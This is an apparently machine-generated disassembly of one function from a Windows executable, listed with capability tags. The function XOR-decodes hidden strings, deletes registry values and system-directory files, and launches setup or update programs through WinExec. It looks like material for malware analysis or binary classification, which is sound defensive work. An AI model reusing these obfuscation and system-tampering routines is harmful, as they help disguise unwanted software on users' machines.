Function at 0x404130
Capabilities:
Create process on windows
Delete file
Delete registry value
Encode data using xor
Get common file path
Initialize winsock library
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x534228
mov eax, dword fs:[0]
push eax
sub esp, 0x728
mov eax, dword [0x581e00]
xor eax, esp
mov dword [esp + 0x720], eax
push ebx
push esi
push edi
mov eax, dword [0x581e00]
xor eax, esp
push eax
lea eax, [esp + 0x738]
mov dword fs:[0], eax
lea eax, [esp + 0x24]
push eax
mov ebx, ecx
mov dword [esp + 0x28], 8
mov dword [esp + 0x2c], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, ebx
call fcn.00418e4b
push 0
call fcn.00419db5
add esp, 4
push 0x560c2c
mov ecx, ebx
call fcn.0041a2a3
push 0
push 0x66
lea ecx, [esp + 0x6c]
call fcn.0040ea0d
mov dword [esp + 0x740], 0
mov dword [esp + 0x64], vtable.CTGAutoRunDlg.0
call fcn.0041cc0a
call fcn.0041cc0a
mov eax, dword [eax + 0xc]
push 0x80
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [esp + 0xf8], eax
lea ecx, [esp + 0xfc]
push ecx
mov esi, 1
push 0x101
mov dword [esp + 0x748], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x404a62
push 0x104
push eax
lea edx, [esp + 0x41c]
push edx
call fcn.00510790
add esp, 0xc
push 0x104
lea eax, [esp + 0x310]
push 0
push eax
call fcn.00510790
add esp, 0xc
push 0x104
lea ecx, [esp + 0x520]
push 0
push ecx
call fcn.00510790
add esp, 0xc
push 0x104
push 0
push 0x58a940
call fcn.00510790
mov eax, 0x58a940
add esp, 0xc
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x404270
mov edx, dword [str._tao.dll]
mov ecx, dword [0x560c50]
mov dword [eax], edx
mov dl, byte [0x560c54]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
cmp dword [0x589934], esi
je 0x4042b4
mov eax, dword [0x589938]
mov eax, dword [eax + 4]
push 0x560c58
push eax
call fcn.0050e486
add esp, 8
test eax, eax
je 0x4042d1
mov edi, 0x58aa48
call fcn.00402510
test byte [0x58ae44], 2
je 0x4042d1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x104
lea ecx, [esp + 0x418]
push ecx
call edi
push 0x104
lea edx, [esp + 0x310]
push edx
call edi
push 0x104
lea eax, [esp + 0x520]
push eax
call edi
lea eax, [esp + 0x414]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x404310
mov ecx, dword [str._singlePY.ime]
mov edx, dword [0x560c60]
mov dword [eax], ecx
mov ecx, dword [0x560c64]
mov dword [eax + 4], edx
mov dx, word [0x560c68]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
lea eax, [esp + 0x30c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x404345
mov ecx, dword [str._simplepysys.dic]
mov edx, dword [0x560c70]
mov dword [eax], ecx
mov ecx, dword [0x560c74]
mov dword [eax + 4], edx
mov edx, dword [0x560c78]
mov dword [eax + 8], ecx
mov cl, byte [0x560c7c]
mov dword [eax + 0xc], edx
mov byte [eax + 0x10], cl
lea eax, [esp + 0x51c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x404381
mov edx, dword [str._simplepy.tab]
mov ecx, dword [0x560c84]
mov dword [eax], edx
mov edx, dword [0x560c88]
mov dword [eax + 4], ecx
mov cx, word [0x560c8c]
mov dword [eax + 8], edx
mov word [eax + 0xc], cx
cmp dword [0x589934], esi
jle 0x40496a
mov edx, dword [0x589938]
mov eax, dword [edx + 4]
push 0x560c90
push eax
call fcn.0050e486
add esp, 8
test eax, eax
je 0x404a9c
mov eax, dword [0x589938]
mov eax, dword [eax + 4]
push 0x560c94
push eax
call fcn.0050e486
add esp, 8
test eax, eax
je 0x404a9c
mov ecx, dword [0x589938]
mov eax, dword [ecx + 4]
push 0x560c58
push eax
call fcn.0050e486
add esp, 8
test eax, eax
jne 0x4047f8
push eax
mov edx, str.actinstall
mov ecx, str.autorun
call fcn.00406510
push esi
push 0x1a
lea edx, [esp + 0x62c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
lea eax, [esp + 0x624]
jne 0x404469
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x404445
mov ecx, dword [str.c:moji.]
mov edx, dword [0x560cb0]
mov dword [eax], ecx
mov ecx, dword [0x560cb4]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
jmp 0x404494
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x404470
mov edx, dword [str.moji.]
mov ecx, dword [0x560cbc]
mov dword [eax], edx
mov dx, word [0x560cc0]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
lea ecx, [esp + 0x2c]
call fcn.0041ae7e
push 0
lea eax, [esp + 0x628]
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x748], 2
call fcn.0041af22
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
test eax, eax
je 0x4045f3
lea ecx, [esp + 0x2c]
call fcn.0041aaf1
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x30]
mov ebx, eax
call fcn.0041b119
push 3
lea edx, [esp + 0x24]
push edx
lea ecx, [esp + 0x18]
mov byte [esp + 0x748], 3
call fcn.00405410
mov byte [esp + 0x740], 4
mov edi, dword [esp + 0x20]
push 0x560cc4
push edi
call fcn.0050e729
add esp, 8
test eax, eax
jne 0x40459f
mov ecx, dword [esp + 0x10]
cmp dword [ecx - 0xc], eax
jl 0x404563
push str.HY_Setup_quwan
push ecx
call fcn.0050e86a
mov ecx, dword [esp + 0x18]
add esp, 8
test eax, eax
je 0x404543
sub eax, ecx
js 0x404543
push 0x560cd8
jmp 0x40458d
cmp dword [ecx - 0xc], 0
jl 0x404563
push str.qyUpdate
push ecx
call fcn.0050e86a
add esp, 8
test eax, eax
je 0x404563
mov ecx, dword [esp + 0x10]
sub eax, ecx
je 0x40456a
push str.__update
jmp 0x40458d
cmp dword [ecx - 0xc], 0
jl 0x404588
push str.zhuye
push ecx
call fcn.0050e86a
add esp, 8
test eax, eax
je 0x404588
sub eax, dword [esp + 0x10]
je 0x404596
push str._update
lea ecx, [esp + 0x14]
call fcn.00405850
mov eax, dword [esp + 0x10]
push 5
push eax
call esi
lea eax, [edi - 0x10]
mov byte [esp + 0x740], 3
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4045c3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x740], 2
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4045eb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test ebx, ebx
jne 0x4044c6
mov dword [esp + 0x2dd], 0x90938188
mov dword [esp + 0x2e1], 0x9b829586
mov dword [esp + 0x2e5], 0xb5a4ae8a
mov bl, 0xa8
mov dword [esp + 0x2e9], 0xa1a8b4a8
mov dword [esp + 0x2ed], 0xae909bb3
mov dword [esp + 0x2f1], 0xb0a8a3a9
mov dword [esp + 0x2f5], 0xb2849bb4
mov dword [esp + 0x2f9], 0xa9a2b5b5
mov dword [esp + 0x2fd], 0xb5a291b3
mov dword [esp + 0x301], 0xa9a8aeb4
mov dword [esp + 0x305], 0xa9b2959b
mov byte [esp + 0x309], 0xc7
lea eax, [esp + 0x2dc]
mov byte [esp + 0x2dc], 0x53
inc eax
xor byte [eax], 0xc7
jne 0x404685
lea ecx, [esp + 0x1c]
push ecx
push 0xf003f
push 0
lea edx, [esp + 0x2e8]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4046c9
mov eax, dword [esp + 0x1c]
push str.RVCTP
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 0xa6
mov byte [esp + 0x29e], al
mov byte [esp + 0x2a6], al
mov dword [esp + 0x28d], 0xb5979bfd
mov byte [esp + 0x291], bl
mov dword [esp + 0x292], 0xaaa6b5a0
mov dword [esp + 0x296], 0xabae81e7
mov dword [esp + 0x29a], 0x8f9bb4a2
mov byte [esp + 0x29f], bl
mov dword [esp + 0x2a0], 0xa0a9ae9e
mov word [esp + 0x2a4], 0x8f9b
mov byte [esp + 0x2a7], bl
mov dword [esp + 0x2a8], 0xa0a9ae9e
mov dword [esp + 0x2ac], 0xa2bfa2e9
mov byte [esp + 0x2b0], 0xc7
lea eax, [esp + 0x28c]
mov byte [esp + 0x28c], 0x43
lea esp, [esp]
inc eax
xor byte [eax], 0xc7
jne 0x404760
lea edx, [esp + 0x28c]
push edx
lea ecx, [esp + 0x18]
call fcn.00401d20
mov byte [esp + 0x740], 5
mov eax, dword [esp + 0x14]
push 0
push eax
lea ecx, [esp + 0x34]
call fcn.0041af22
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x4047bb
lea esp, [esp]
push 0x3e8
call edi
mov ecx, dword [esp + 0x14]
push 0
push ecx
lea ecx, [esp + 0x34]
call fcn.0041af22
test eax, eax
je 0x4047a0
push 0xea60
call edi
push 0x560d0c
lea ecx, [esp + 0x18]
call fcn.00405850
mov edx, dword [esp + 0x14]
push 5
push edx
call esi
lea ecx, [esp + 0x14]
call fcn.00401fa0
lea ecx, [esp + 0x2c]
mov byte [esp + 0x740], 1
call fcn.0041aead
jmp 0x404a62
mov eax, dword [0x589938]
mov eax, dword [eax + 4]
push 0x560d10
push eax
call fcn.0050e486
add esp, 8
test eax, eax
jne 0x40494b
push eax
mov edx, str.actinstall
mov ecx, str.autorun
call fcn.00406510
mov dword [esp + 0x2b5], 0xb5979bfd
mov bl, 0xa8
mov dword [esp + 0x2b9], 0xa6b5a0a8
mov dword [esp + 0x2bd], 0xae81e7aa
mov dword [esp + 0x2c1], 0x9bb4a2ab
mov dword [esp + 0x2c5], 0x9ea8a68f
mov dword [esp + 0x2c9], 0x9ba0a9ae
mov dword [esp + 0x2cd], 0x9ea8a68f
mov dword [esp + 0x2d1], 0xe9a0a9ae
mov dword [esp + 0x2d5], 0xc7a2bfa2
lea eax, [esp + 0x2b4]
mov byte [esp + 0x2b4], 0x43
lea ebx, [ebx]
add eax, esi
xor byte [eax], 0xc7
jne 0x4048a0
lea ecx, [esp + 0x2b4]
push ecx
lea ecx, [esp + 0x14]
call fcn.00401d20
mov bl, 6
lea ecx, [esp + 0x48]
mov byte [esp + 0x740], bl
call fcn.0041ae7e
mov byte [esp + 0x740], 7
mov edx, dword [esp + 0x10]
push 0
push edx
lea ecx, [esp + 0x50]
call fcn.0041af22
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x40490b
lea esp, [esp]
push 0x3e8
call edi
mov eax, dword [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x50]
call fcn.0041af22
test eax, eax
je 0x4048f0
push 0xea60
call edi
push 0x560d0c
lea ecx, [esp + 0x14]
call fcn.00405850
mov ecx, dword [esp + 0x10]
push 5
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x48]
mov byte [esp + 0x740], bl
call fcn.0041aead
lea ecx, [esp + 0x10]
call fcn.00401fa0
jmp 0x404a62
mov edx, dword [0x589938]
mov eax, dword [edx + 4]
push 0x560d14
push eax
call fcn.0050e486
add esp, 8
test eax, eax
je 0x404a1c
push 0
push 0
mov eax, 0x58af5c
call fcn.004035b0
add esp, 8
mov edi, eax
neg edi
sbb edi, edi
inc edi
test byte [0x58ae44], 1
je 0x40498f
test edi, edi
je 0x404a0b
push 0x81
lea eax, [esp + 0x418]
call fcn.004034e0
add esp, 4
push 0x82
lea eax, [esp + 0x310]
call fcn.00403450
add esp, 4
push 0x83
lea eax, [esp + 0x520]
call fcn.00403450
add esp, 4
push ebx
call fcn.00404d30
push 0
push 0x58b060
mov esi, 0x58af5c
call fcn.004037f0
add esp, 8
test eax, eax
je 0x4049f3
mov esi, 0x58b060
call fcn.00403970
push 0
push 0x560d34
push 0x560d3c
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
test edi, edi
jne 0x404a5c
push 0
mov edx, str.actinstall
mov ecx, str.install
call fcn.00406510
push 0x4040d0
mov edx, str.actinstall
mov ecx, str.work1
call fcn.00406510
test eax, eax
jne 0x404a3c
cmp dword [0x58a93c], eax
je 0x404a5c
push 0x85
mov eax, 0x58a940
call fcn.004034e0
lea eax, [esp + 0x68]
add esp, 4
mov ecx, eax
mov dword [ebx + 0x20], eax
call fcn.0040f18b
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [esp + 0x64]
mov dword [esp + 0x740], 0xffffffff
call fcn.0040e954
xor eax, eax
mov ecx, dword [esp + 0x738]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x720]
xor ecx, esp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
call fcn.00404fb0
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x414]
push eax
call edi
lea ecx, [esp + 0x30c]
push ecx
call edi
lea edx, [esp + 0x51c]
push edx
call edi
jmp 0x404a62